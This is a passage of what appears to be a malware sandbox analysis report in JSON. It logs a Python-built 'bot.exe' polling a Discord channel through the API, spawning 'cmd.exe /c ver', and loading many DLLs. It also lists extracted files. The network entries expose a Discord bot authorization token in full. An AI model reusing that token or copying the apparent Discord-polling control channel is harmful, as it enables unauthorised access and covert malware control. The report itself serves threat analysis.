keep-alive","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"host":"discord.com","host_ip":"162.159.128.233:443","url":"/api/v10/channels/1567592947002908814/messages?after=1568272683614076941&limit=25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?after=1568272683614076941&limit=25 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"host":"discord.com","host_ip":"162.159.128.233:443","url":"/api/v10/channels/1567592947002908814/messages?after=1568273794320040050&limit=25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?after=1568273794320040050&limit=25 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"host":"discord.com","host_ip":"162.159.128.233:443","url":"/api/v10/channels/1567592947002908814/messages?after=1568273896438898770&limit=25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?after=1568273896438898770&limit=25 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"host":"discord.com","host_ip":"162.159.128.233:443","url":"/api/v10/channels/1567592947002908814/messages?after=1568273912763256853&limit=25","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v10/channels/1567592947002908814/messages?after=1568273912763256853&limit=25 HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.34.2\nAccept-Encoding: gzip, deflate, zstd\nAccept: */*\nConnection: keep-alive\nAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}],"processes":[{"pid":1324,"ppid":0,"name":"bot.exe","command_line":"","sha256":"d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","normalized_path":"C:\\bot.exe","uid":"00000000-00001324","icon":"$71"},{"pid":2724,"ppid":1324,"name":"bot.exe","command_line":"","sha256":"d4f891f349710d0b36218a6c7dd3f72d1dc554c6207c81a142cc1c2bca155ba1","normalized_path":"C:\\bot.exe","parent_uid":"00000000-00001324","uid":"00000000-00002724"},{"pid":7752,"ppid":2724,"name":"cmd.exe","command_line":"/c \"ver\"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00002724","uid":"00000000-00007752"},{"pid":7236,"ppid":0,"name":"msedge.exe","command_line":"--profile-directory=Default","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","uid":"00000000-00007236","icon":"$72"},{"pid":3176,"ppid":7236,"name":"msedge.exe","command_line":"--type=crashpad-handler \"--user-data-dir=%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler \"--database=%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Crashpad\" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=145.0.7632.76 \"--annotation=exe=%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=145.0.3800.58 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x34c,0x7ffeb9990f18,0x7ffeb9990f24,0x7ffeb9990f30","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007236","uid":"00000000-00003176"},{"pid":3080,"ppid":7236,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --startup-read-main-dll --metrics-shmem-handle=2044,i,9787207627966477402,5535325114301916645,524288 --field-trial-handle=2672,i,16513632467117279295,4062956266996070819,262144 --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2716 /prefetch:3","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007236","uid":"00000000-00003080"},{"pid":7908,"ppid":7236,"name":"msedge.exe","command_line":"--type=gpu-process --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --startup-read-main-dll --metrics-shmem-handle=1756,i,2054852487353804272,1560486599911723718,262144 --field-trial-handle=2672,i,16513632467117279295,4062956266996070819,262144 --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2680 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007236","uid":"00000000-00007908"},{"pid":1912,"ppid":7236,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --startup-read-main-dll --metrics-shmem-handle=2320,i,11499987237035707674,2255061043501028670,524288 --field-trial-handle=2672,i,16513632467117279295,4062956266996070819,262144 --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2504 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007236","uid":"00000000-00001912"},{"pid":4516,"ppid":7236,"name":"msedge.exe","command_line":"--type=renderer --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1793972887368117 --launch-time-ticks=2773948838 --ssd-no-pressure-read-main-dll --metrics-shmem-handle=3284,i,15424396147271416153,8490868626290756199,2097152 --field-trial-handle=2672,i,16513632467117279295,4062956266996070819,262144 --variations-seed-version --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=3368 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007236","uid":"00000000-00004516"},{"pid":2608,"ppid":7236,"name":"msedge.exe","command_line":"--type=renderer --instant-process --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1793972887368117 --launch-time-ticks=2774036652 --skip-read-main-dll --metrics-shmem-handle=3296,i,12430571795392569323,16454810951138330926,2097152 --field-trial-handle=2672,i,16513632467117279295,4062956266996070819,262144 --variations-seed-version --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3600 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007236","uid":"00000000-00002608"}],"all_imported_dlls":["VCRUNTIME140.dll","KernelBase.dll","gdi32full.dll","libcrypto-3.dll","user32.dll","gdi32.dll","cryptsp.dll","kernel.appcore.dll","I9Gm1q8a.dll","ksuser.dll","win32u.dll","advapi32.dll","rpcrt4.dll","fltLib.dll","vcruntime140.dll","ole32.dll","clbcatq.dll","shell32.dll","uxtheme.dll","wbemprox.dll","mfplat.dll","dxgi.dll","cryptbase.dll","bcryptprimitives.dll","python3.dll","crypt32.dll","userenv.dll","mswsock.dll","SHCore.dll","powrprof.dll","umpdc.dll","msvcrt.dll","version.dll","propsys.dll","nsi.dll","FWPUCLNT.DLL","VCRUNTIME140_1.dll","libffi-8.dll","libssl-3.dll","amsi.dll","mf.dll","mfcore.dll","rsaenh.dll","ntdll.dll","msvcp_win.dll","ucrtbase.dll","VxSSL64.dll","ws2_32.dll","msctf.dll","python314.dll","IPHLPAPI.DLL","oleaut32.dll","wbemcomn.dll","profapi.dll","kernel32.dll","imm32.dll","comdlg32.dll","RTWorkQ.dll","comctl32.dll","vcruntime140_1.dll","fastprox.dll","sqlite3.dll","libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll","mfreadwrite.dll","sechost.dll","wbemsvc.dll","msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll","cfgmgr32.dll","combase.dll","d3d11.dll","rasadhlp.dll","shlwapi.dll","bcrypt.dll","msvcp140.dll","dnsapi.dll","dwmapi.dll","api-ms-win-core-timezone-l1-1-0.dll","usp10.dll","api-ms-win-crt-utility-l1-1-0.dll","api-ms-win-crt-runtime-l1-1-0.dll","api-ms-win-core-localization-l1-2-0.dll","api-ms-win-crt-heap-l1-1-0.dll","api-ms-win-crt-convert-l1-1-0.dll","tzres.dll","api-ms-win-core-sysinfo-l1-2-0.dll","apphelp.dll","api-ms-win-core-file-l2-1-0.dll","api-ms-win-core-kernel32-legacy-l1-1-1.dll","api-ms-win-crt-stdio-l1-1-0.dll","api-ms-win-crt-string-l1-1-0.dll","api-ms-win-crt-filesystem-l1-1-0.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-crt-math-l1-1-0.dll","imageres.dll","rpcss.dll","lpk.dll","api-ms-win-core-processthreads-l1-1-1.dll","api-ms-win-core-fibers-l1-1-1.dll","api-ms-win-core-file-l1-2-0.dll","api-ms-win-crt-locale-l1-1-0.dll","api-ms-win-crt-time-l1-1-0.dll","api-ms-win-crt-environment-l1-1-0.dll","taskschd.dll","MpOAV.dll","LWkZqr3W.dll","sspicli.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"VCRUNTIME140.dll","sha256":"d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"VCRUNTIME140_1.dll","sha256":"a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"libportaudio32bit-asio.dll","sha256":"b96d817debe1747d8ca3a5e5b57d1021bf0207ebbd907242331357b97c65e6d7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"libportaudio32bit.dll","sha256":"3d27383a00397dae64b266189791ac20f84a19820778724e05705c2f6012dfd9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"libportaudio64bit-asio.dll","sha256":"e38618a0cb83a0287bee3b8bd68a710ae0d34178217ef4fa21ed56f765111943","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"libportaudio64bit.dll","sha256":"ec080194f01e4095c7fb43dbd7ed05af922c5b34295056a9ff56782741d65481","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"libportaudioarm64-asio.dll","sha256":"57b7826fd3883daabbb8951814655a4ec253acb822c0ff6ce4002da9463064f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"libportaudioarm64.dll","sha256":"e39e95e95c0cb262c70ca4e676e440cf34be5643fe5a31cdfe23e8ab6f1422cb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-crt-math-l1-1-0.dll","sha256":"606d66d82db562ea7979179d06486a0f94d079941d26b80a1e2c49d29959df6f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-crt-private-l1-1-0.dll","sha256":"1bc82bed6143d2bf1b6b08a7809f4a5e29317d6fddd338a7da3c0223522e4bbf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-crt-stdio-l1-1-0.dll","sha256":"a9c5a153d8c0286f9b41a2b1c65854ad9e6471b8755b7de87bae4470e60bcab6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-crt-string-l1-1-0.dll","sha256":"25b8f83a7767211b11132775a0e27a45aa4ec8ab4e6572599f9c172ae3606b40","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"cacert.pem","sha256":"2ef52ad56b4803e264045c915e55c236cbfa045b84b81efefc218a19eb44bd2b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"opencv_videoio_ffmpeg500_64.dll","sha256":"08dfdc46c68fa089a3580a1949f6661705d3755203b1db51226940ebe1a96f78","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"libcrypto-3.dll","sha256":"10dd1cf2754a59bdc8d64b68eab120f9027d9d3de87b29ad0f910c6308dbcf45","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"libssl-3.dll","sha256":"8957182a9c385bfd9f3f790921de2ddc614cf91f99edbed4e9e5446a46504e32","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll","sha256":"48edf494ba2e30b7ae14075df066dc6adbd713420c363e3dd2a52f02e2cd10a0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll","sha256":"a4c2229bdc2a2a630acdc095b4d86008e5c3e3bc7773174354f3da4f5beb9cde","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"python3.dll","sha256":"7bb0a7df2d5cb829319dd8d122039843e2a762361bb5a61bb5d24ca34f4040b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"python314.dll","sha256":"b1848b5a0e08f0a39d7aab9488e971cb80f573c0acf1205abfa7496e9b611ad6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_avif.cp314-win_amd64.pyd","sha256":"2fe8245835b29b96f292f8d4d4237659cbd1958de46077b2a18f2be5cca2d301","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_imaging.cp314-win_amd64.pyd","sha256":"9ca27b1a45178437d9b57e0d3024ed535226f5150ff16fd2363d90171856f0d8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_webp.cp314-win_amd64.pyd","sha256":"0a52c832b08413721f0bb09b7bdd496ef7b10e5e22a27e64a756f7daa184b425","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"_lzma.pyd","sha256":"9ff9f63ad79f161722106e029b4c3afc6494848fd73f9bcc2ed5434a15c71bde","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-console-l1-1-0.dll","sha256":"88ace577a9c51061cb7d1a36babbbefa48212fadc838ffde98fdfff60de18386","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-datetime-l1-1-0.dll","sha256":"1bd81dfd19204b44662510d9054852fb77c9f25c1088d647881c9b976cc16818","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-debug-l1-1-0.dll","sha256":"591358eb4d1531e9563ee0813e4301c552ce364c912ce684d16576eabf195dc3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-errorhandling-l1-1-0.dll","sha256":"d56ce7b1cd76108ad6c137326ec694a14c99d48c3d7b0ace8c3ff4d9bcee3ce8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-fibers-l1-1-0.dll","sha256":"91d249d7bc0e38ef6bcb17158b1fdc6dd8888dc086615c9b8b750b87e52a5fb3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-fibers-l1-1-1.dll","sha256":"fc9d86cec621383eab636ebc87ddd3f5c19a3cb2a33d97be112c051d0b275429","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-file-l1-1-0.dll","sha256":"1ca895aba4e7435563a6b43e85eba67a0f8c74aa6a6a94d0fc48fa35535e2585","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-file-l1-2-0.dll","sha256":"4cadbc0c39da7c6722206fdcebd670abe5b8d261e7b041dd94f9397a89d1990d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-file-l2-1-0.dll","sha256":"93c624b366ba16c643fc8933070a26f03b073ad0cf7f80173266d67536c61989","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-handle-l1-1-0.dll","sha256":"39095f59c41d76ec81bb2723d646fde4c148e7cc3402f4980d2ade95cb9c84f9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-heap-l1-1-0.dll","sha256":"8f105771b236dbcb859de271f0a6822ce1cb79c36988dd42c9e3f6f55c5f7eb9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-interlocked-l1-1-0.dll","sha256":"53b25e753ca785bf8b695d89dde5818a318890211dc992a89146f16658f0b606","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-kernel32-legacy-l1-1-1.dll","sha256":"a9b13a1cd1b8c19b0c6b4afcd5bb0dd29c0e2288231ac9e6db8510094ce68ba6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-libraryloader-l1-1-0.dll","sha256":"7f39ba298b41e4963047341288cab36b6a241835ee11ba4ad70f44dacd40906c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-localization-l1-2-0.dll","sha256":"6ee44dd0d8510dc024c9f7c79b1b9fa88c987b26b6beb6653ddd11751c34e5dc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-memory-l1-1-0.dll","sha256":"0512a35316ec9180437f86696a84c5c06a7e4e82e050055a656e5bf9fca206f9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-namedpipe-l1-1-0.dll","sha256":"c05f1fffe3b5a2738ea54ce9485cca026fb9635f982626fba1e1dcc531897273","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-processenvironment-l1-1-0.dll","sha256":"c4eca98c3c67b6395d5b005b00ac1eb0318b86b23aa71035a44c2b1602befba9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-processthreads-l1-1-0.dll","sha256":"5ccb89e93d67bc3288d4e84649c5346e66e15e3d7cd65d989daf3f4cb584be9a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-processthreads-l1-1-1.dll","sha256":"4ad565a8ba3ef0ea8ab87221ad11f83ee0bc844ce236607958406663b407333e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-profile-l1-1-0.dll","sha256":"7809160932f44e59b021699f5bc68799eb7293ee1fa926d6fcca3c3445302e61","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-rtlsupport-l1-1-0.dll","sha256":"9dc1e91e71c7c054854bd1487cb4e6946d82c9f463430f1c4e8d1471005172b1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-string-l1-1-0.dll","sha256":"60fc31d2a0c634412f529dba76af3b9bf991352877c6dae528186d3935704cfd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-synch-l1-1-0.dll","sha256":"3a72b4f29f39a265d32ad12f0ce15dbf60129c840e10d84d427829ede45e78ad","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"api-ms-win-core-synch-l1-2-0.dll","sha256":"efc1e4460984a73c